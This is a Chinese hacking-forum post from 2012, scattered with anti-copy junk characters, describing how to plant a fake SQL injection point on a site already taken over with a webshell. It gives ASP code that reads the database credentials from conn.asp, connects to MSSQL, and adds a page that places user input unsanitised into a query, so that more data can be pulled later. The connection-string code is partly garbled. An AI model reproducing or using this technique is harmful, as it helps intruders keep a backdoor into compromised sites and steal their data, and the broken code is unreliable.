找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1858|回复: 0
打印 上一主题 下一主题

自己构造注入点方便入侵

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:27:31 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
自己构造注入点方便入侵$ h3 z! Z1 e' ^3 M
& K0 M. m! k6 e4 ?9 o
今天看了rootkit论坛里面有人要我写出来关于伪造一个注入点,然后方便渗透,找到更多的可利用的信息
8 g  X" X, m) q7 y2 e$ S4 z7 n1 f$ y5 G' v7 |: f0 W& K3 Z" q0 p. f$ t+ |
这两天一直考试,想了下,就先仍出来,有什么问题可以提出来,我们一起讨论!
8 q- w" ^: l# B/ g9 H+ q( y- B! P$ ]8 F! O
首先你要拿了一个webshell,这样你找到连接数据库的文件,大多都是conn.asp这个文件里面有mssql的用户和; h2 K: f9 ]" \
* \. l$ W* H0 `8 _+ G8 `
密码,你要找到用户名、密码、数据库所在的IP,然后连接上去,至于连接大家应该都会,找到网站管理员的表& B# ~  g! {& E# C9 G

5 o# m$ ?# D& l) A因为我测试的时候是用管理员的表,我朋友说任何表名都可以,只要这个表存在,代码如下:- D0 {/ u0 N' z& h* `& [2 ?

$ P- L5 Y5 w  p  ^3 I程序代码! |( C) w( h$ N4 v) H
<!--#include file="xx.asp"-->0 _0 p7 D) q6 {+ w* _. S
<%3 }" q5 i- ]% }
set rs=server.createobject("ADODB.recordset")
9 |3 g- @6 p) e* U) W2 Z& [; Vid = request("id")
# w! v9 P: n3 F8 C) W0 }7 [strSQL = "select * from admin where id=" & id! G" m3 R& L: P8 y4 X5 K* p, @
rs.open strSQL,conn,1,3
' h/ x) @3 H- t$ E! yrs.close5 c5 q: q+ Z) L, V0 Q* f
%>
1 O. ~; F1 m. d5 |, s, }
# ]4 w! J. C0 k! e7 `( C把strSQL = "select * from admin where id=" & id 这句话里面的admin换成要伪造的表名,注意必须存在, A* o$ R. O9 F% H, c6 b; ?

8 _# f4 s9 Z; W+ ~你可以连接上去看下表名就是了!这里假设的是admin是表名!这个文件名随便保存!- }5 X+ c6 l- L6 g- ^* ]5 f
6 k/ i* s: }! t  Y  e( z0 U: E
然后就要构造一个连接数据库的文件了,代码如下:3 X6 P/ e$ g/ B1 g0 ^/ s, F
程序代码. n8 _: t5 N& j1 \% X$ M& r3 E
<%        
: h6 L* c- |$ Y7 D) W) pstrSQLServerName = "000.000.000.000"     '服务器名称或地址8 Y, \& b/ S" M$ ?, l
strSQLDBUserName = "sqlname"         '数据库帐号
  {0 s( E/ g. xstrSQLDBPassword = "sqlpass"         '数据库密码
5 s! P& S  b" c8 g! i" |strSQLDBName = "sqldataname"           '数据库名称
8 H8 N$ X2 s1 h* @Set conn = Server.CreateObject("ADODB.Connection")& @7 V; V% |5 ^+ `7 f, U( I
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName & ";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" & strSQLDBName & ";"
$ P6 R7 W4 T, t" @; v' V  y1 c8 Bconn.open strCon
$ ~. [' E, Z' ~, D%>2 {2 C* `- D$ u& L# {: H$ o
2 j+ a  x7 C! y+ U0 _' i8 c
这里应该都会了,就不罗嗦了,不过注意的是保存的文件名要和include调用的名字一样。。还是罗嗦话,
4 b5 B. @8 t' q7 }( s( m* W& {, p! a+ b2 }1 |0 U
就这样,正常情况下,就OK了,伪造成功……
# t! T: a9 ^) Y* _: p4 ?$ g+ f/ T: n, @: ~5 o1 z  N( ]" K
           如果有什么问题可以提出来大家一起探讨解决。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表